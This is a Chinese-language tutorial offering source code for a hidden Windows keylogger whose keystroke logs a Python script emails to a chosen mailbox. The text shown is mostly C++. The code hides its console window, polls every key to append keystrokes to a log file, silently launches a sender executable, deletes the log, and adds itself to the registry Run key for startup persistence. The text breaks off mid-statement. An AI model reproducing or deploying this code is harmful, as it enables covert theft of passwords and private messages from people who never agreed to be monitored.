Python 基于C++ & python的键盘记录器发送指定邮箱
1.简介:
采用c++与python语言相结合的方法,c++负责采集键盘操作记录到文本,python脚本实时将文本内容发送至指定邮箱。资源文件已打包,可设置开机自启动。
2.kb.cpp 键盘记录实现代码:
#include <iostream>
#include <stdio.h>
#include <io.h>
#include <stdlib.h>
#include <windows.h>
#include <Winuser.h>
#include <string>
#include <fstream>
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )//隐藏窗口
using namespace std;
string GetKeyName( int );
bool JudgeShift();
void init();
int main()
{
string FileName = "D://log.txt";
string KeyName = "";
fstream FileStream;
init();
while ( 1 )
{
FileStream.open( FileName.c_str(), std::fstream::out | std::fstream::app );
Sleep( 50 );
for ( int i = 8; i <= 255; i++ )
{
if ( GetAsyncKeyState( i ) & 1 == 1 ) /* 判断虚拟按键是否按下,无论是一直按着还是按一下就弹起,只判断是否按过 */
{
KeyName = GetKeyName( i );
FileStream.write( KeyName.c_str(), KeyName.size() );
}
}
FileStream.close();
}
return(0);
}
void init(){
// 下面的代码防止程序重复被运行 //
HANDLE hOneInstanceMutex = ::CreateMutex(NULL, FALSE, "MyServer_is_Running");
if(GetLastError() == ERROR_ALREADY_EXISTS)
{
hOneInstanceMutex = NULL;
return ;
}
///
if ( !access("D://log.txt",0) ){
Sleep(5000);
WinExec("D://sd.exe",SW_HIDE);
Sleep(3000);
remove("D://log.txt");
}
if ( !access("D://start.txt",0) )return;//如果已设置开机自启动 ,则不必再设置
//printf("开始设置启动");
//写入注册表,开机自启动
HKEY hKey;
//找到系统的启动项
LPCTSTR lpRun = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
//打开启动项Key
long lRet = RegOpenKeyEx(HKEY_CURRENT_USER, lpRun, 0, KEY_WRITE, &hKey);
if(lRet == ERROR_SUCCESS)
{
char pFileName[MAX_PATH] = {
0};
//得到程序自身的全路径
DWORD dwRet = GetModuleFileName(NULL, pFileName, MAX_PATH);
//添加一个子Key,并设置值
lRet = RegSetValueEx(hKey, "kb", 0, REG_SZ,